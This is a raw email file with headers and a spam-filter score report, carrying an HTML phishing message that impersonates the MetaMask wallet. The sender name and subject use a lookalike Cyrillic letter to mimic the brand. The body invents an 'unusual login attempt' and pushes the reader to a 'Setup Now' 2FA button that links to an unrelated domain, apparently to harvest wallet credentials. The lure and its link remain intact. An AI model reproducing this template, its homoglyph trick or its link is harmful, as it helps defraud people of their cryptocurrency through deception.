22

✏️ Editing: 1748708013.M570416P761670.node93.myfcloudin.com,S=7167,W=7299:2,c

Envelope-to: info@autozone.com.sa
Delivery-date: Sat, 31 May 2025 16:13:33 +0000
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=575f61f5ce.nxcli.io;
  b=IwWEXHBCEivpSwGgQlH7PnBfLfgZpPLudLUkHXL/7b8Rsopx407GV1rkCzyeSeXYNymELEPuKs+WuvUBMO9d32PM5C4B0hwaJk59ka3anHeYoqSYyJjUfBBAER4gRMVGFjfEOkgxamzLG0piWXpF4M2B/TXtzu3hBGyl5bF3pZHj+a5BVU82FgnrLzFYMERncPc5Mgy8qTk12gZkp6PYqVLRmUY35PNWEzAfSaeW6ugL7VQQUPqcNpDdRIZ4b1wHAJ5e1UDptt+nuLqbjFVauxI2BeRmWLGqXAmed/0w2Jg5gRs+fCYiNJfzYiw8V4uQNnIXP7EsSWJvsIGL5l4ndg==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
Date: 31 May 2025 16:05:54 +0000
Message-ID: <20250531160554.28056.qmail@cloudhost-2840110.us-west-1.nxcli.net>
To: info@autozone.com.sa
Subject: Lаst Reminder: Security Notification
From: "MetaMаsk" <xcmwyvna@gfk.io>
Reply-To: xcmwyvna@gfk.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
    
 Content analysis details:   (4.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [173.249.147.131 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_ZEN_BLOCKED_OPENDNS RBL: ADMINISTRATOR NOTICE: The query to
                             zen.spamhaus.org was blocked due to usage of an
                              open resolver. See
                             https://www.spamhaus.org/returnc/pub/
                             [173.249.147.131 listed in zen.spamhaus.org]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: nxcli.io]
                             [URI: fivestarspay.com]
  0.0 URIBL_DBL_BLOCKED_OPENDNS ADMINISTRATOR NOTICE: The query to
                             dbl.spamhaus.org was blocked due to usage of an
                              open resolver. See
                             https://www.spamhaus.org/returnc/pub/
                             [URI: 575f61f5ce.nxcli.io]
                             [URI: fivestarspay.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [173.249.147.131 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                        [173.249.147.131 listed in sa-trusted.bondedsender.org]
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily valid
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
                             domains are different
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
X-Spam-Flag: NO

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MetaMаsk Security Notice</title>
<style>
  body {margin:0;padding:0;background:#f4f4f7;font-family:Arial,sans-serif;color:#333}
  .box {max-width:500px;margin:40px auto;background:#fff;border-radius:8px;padding:24px 28px;box-shadow:0 2px 10px #0001}
  .logo {font-size:38px;margin-bottom:10px;text-align:center}
  h2 {color:#f6851b;text-align:center;font-size:20px;margin-bottom:20px}
  p {font-size:15px;line-height:1.6;margin:0 0 18px;text-align:center}
  .btn {
    display:inline-block;margin:22px auto;padding:10px 24px;background:#f6851b;
    color:#fff;text-decoration:none;border-radius:6px;font-weight:bold;font-size:15px
  }
  .footer {font-size:12px;color:#777;text-align:center;margin-top:26px}
</style>
</head>
<body>
<div class="box">
  <div class="logo">🦊</div>
  <h2>Unusual Login Attempt Detected</h2>
  <p>We've detected activity from an unfamiliar device on your MetaMаsk wallet.</p>
  <p>For your protection, we strongly recommend enabling Two-Factor Authentication (2FA).</p>
  <p><a href="https://fivestarspay.com/cpr/?id=-6203381591444376477-2103" class="btn">🔐 Setup Now</a></p>
  <p class="footer">If this was you, no action is needed.<br>— MetaMаsk Security Team</p>
</div>
</body>
</html>

MR SKB